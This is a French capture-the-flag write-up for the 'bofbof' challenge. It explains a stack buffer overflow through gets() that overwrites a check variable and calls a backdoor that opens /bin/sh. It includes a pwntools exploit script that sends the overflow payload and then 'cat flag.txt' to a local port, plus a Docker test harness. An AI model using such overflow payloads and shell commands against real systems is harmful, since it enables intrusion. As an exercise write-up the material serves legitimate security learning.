Solution de U03 pour bofbof

intro pwn x86/x64

6 janvier 2025

Le fichier bofbof mis à disposition dans l’énoncé est un exécutable x86-64 not stripped ce qui va nous permettre de l’analyser avec un outil tel que Ghidra.

$ file bofbof
bofbof: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4449145718cb2fc63346e764a356d85a566a1c25, for GNU/Linux 3.2.0, not stripped

L’analyse dans Ghidra nous montre la présence d’une porte dérobée dans cet exécutable:

undefined8 main(void) {
  char local_38 [40];
  long local_10;
  
  local_10 = 0x4141414141414141;
  printf("Comment est votre blanquette ?\n>>> ");
  fflush(stdout);
  gets(local_38);
  if (local_10 != 0x4141414141414141) {
    if (local_10 == 0x1122334455667788) {
      vuln();
    }
    puts("Almost there!");
  }
  return 0;
}

void vuln(void) {
  system("/bin/sh");                    
  exit(1); // WARNING: Subroutine does not return
}

Les variables local_38 et local_10 sont stockées de manière contigue en mémoire, une chaîne de caractère est lue par gets(local_38) sans aucun contrôle ni limitation, si la longueur lue est supérieure à 39 ( gets ajoute un \0 en supprimant le /n) alors on va écraser la valeur de local_10.

Nous voyons qu’une porte dérobée a été codée, si nous arrivons à modifier de local_10 pour lui donner la valeur 0x1122334455667788 alors nous déclencherons l’appel à la fonction vuln() qui nous ouvre un shell. De façon fort sympathique si nous arrivons à modifier local_10sans toutefois réussir à lui donner la bonne valeur alors nous aurons le message “Almost there!” pour nous dire que nous sommes sur la bonne voie.

Nous pouvons envoyer par exemple les données suivantes en réponse à l’invite “Comment est votre blanquette ?”

EXPLOIT = \
b'0123456789012345678901234567890123456789' + \
bytes.fromhex('88 77 66 55 44 33 22 11')  + b'\n' 

Notes :

#!/usr/bin/python3

from pwn import *
from time import sleep

EXPLOIT = \
b'0123456789012345678901234567890123456789' + \
bytes.fromhex('8877665544332211')  + b'\n'

conn = remote('localhost',4000)
print(conn.recvuntil(b'>>> '))

conn.send(EXPLOIT)
sleep(1)
conn.send(b'/bin/cat flag.txt\n')

print(conn.recv())

conn.close()

Nous utilisons le script suivant pour synchroniser les opérations et réaliser notre test, nous utilisons commande nc pour attendre le temps nécessaire pour laisser au container le temps de démarrer:

#!/bin/bash

set -e

if [ ! -f docker-compose.yml ]; then
    wget https://hackropole.fr/challenges/fcsc2021-pwn-bofbof/docker-compose.public.yml -O docker-compose.yml
fi

docker-compose up -d

while ! nc -z localhost 4000; do sleep 1; done

python3 008_Bofbof.py

docker-compose down

Le résultat est le suivant :

Creating network "008_bofbof_default" with the default driver
Creating 008_bofbof_bofbof_1 ... done
[+] Opening connection to localhost on port 4000: Done
b'Comment est votre blanquette ?\n>>> '
b'FCSC{xxxxxxxx}\n'
[*] Closed connection to localhost port 4000
Stopping 008_bofbof_bofbof_1 ... done
Removing 008_bofbof_bofbof_1 ... done
Removing network 008_bofbof_default